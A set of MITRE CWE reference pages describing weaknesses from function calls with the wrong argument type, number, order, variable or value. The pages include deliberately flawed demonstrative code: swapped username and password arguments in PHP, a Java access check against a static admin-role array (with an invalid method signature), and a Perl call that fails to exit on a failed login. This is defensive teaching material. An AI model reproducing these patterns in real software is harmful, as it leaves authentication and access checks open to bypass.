For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.
+ Extended Description
This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.736CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.739CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.873CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingEXP37-CCWE More SpecificCall functions with the correct number and type of arguments
CERT C Secure CodingFIO47-CImpreciseUse valid format strings
CERT C Secure CodingPOS34-CDo not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure CodingSTR37-CArguments to character handling functions must be representable as an unsigned char
Software Fault PatternsSFP1Glitch in computation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID: 685
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis problem typically occurs when the programmer makes a typo, or copy and paste errors.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

Perl (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1157SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingEXP37-CCWE More SpecificCall functions with the correct number and type of arguments
CERT C Secure CodingFIO47-CImpreciseUse valid format strings
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Detection_Factors
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID: 683
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.
+ Extended Description
While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis problem typically occurs when the programmer makes a typo, or copy and paste errors.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

(bad code)
Example Language: PHP 
function authenticate($username, $password) {

// authenticate user
...
}

authenticate($_POST['password'], $_POST['username']);
+ Observed Examples
ReferenceDescription
Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.
+ Potential Mitigations

Phase: Implementation

Use the function, procedure, or routine as specified.

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID: 688
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis problem typically occurs when the programmer makes a typo, or copy and paste errors.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

Perl (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

(bad code)
Example Language: Java 
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
String[] userRoles = getUserRoles(user);
return accessGranted(resource, ADMIN_ROLES);
}

private boolean void accessGranted(String resource, String[] userRoles) {

// grant or deny access based on user roles
...
}
+ Observed Examples
ReferenceDescription
Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.
+ Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Detection_Factors
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID: 687
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.628Function Call with Incorrectly Specified Arguments
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.560Use of umask() with chmod-style Argument
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

(bad code)
Example Language: Perl 
sub ReportAuth {
my ($username, $result, $fatal) = @_;
PrintLog("auth: username=%s, result=%d", $username, $result);
if (($result ne "success") && $fatal) {
die "Failed!\n";
}
}

sub PrivilegedFunc
{
my $result = CheckAuth($username);
ReportAuth($username, $result, 0);
DoReallyImportantStuff();
}
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingMEM04-CDo not perform zero length allocations
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations
2008-09-08CWE Content TeamMITRE
updated Detection_Factors, Relationships, Other_Notes, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Detection_Factors
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID: 628
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.
+ Extended Description

There are multiple ways in which this weakness can be introduced, including:

  • the wrong variable or reference;
  • an incorrect number of arguments;
  • incorrect order of arguments;
  • wrong type of arguments; or
  • wrong value.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.683Function Call With Incorrect Order of Arguments
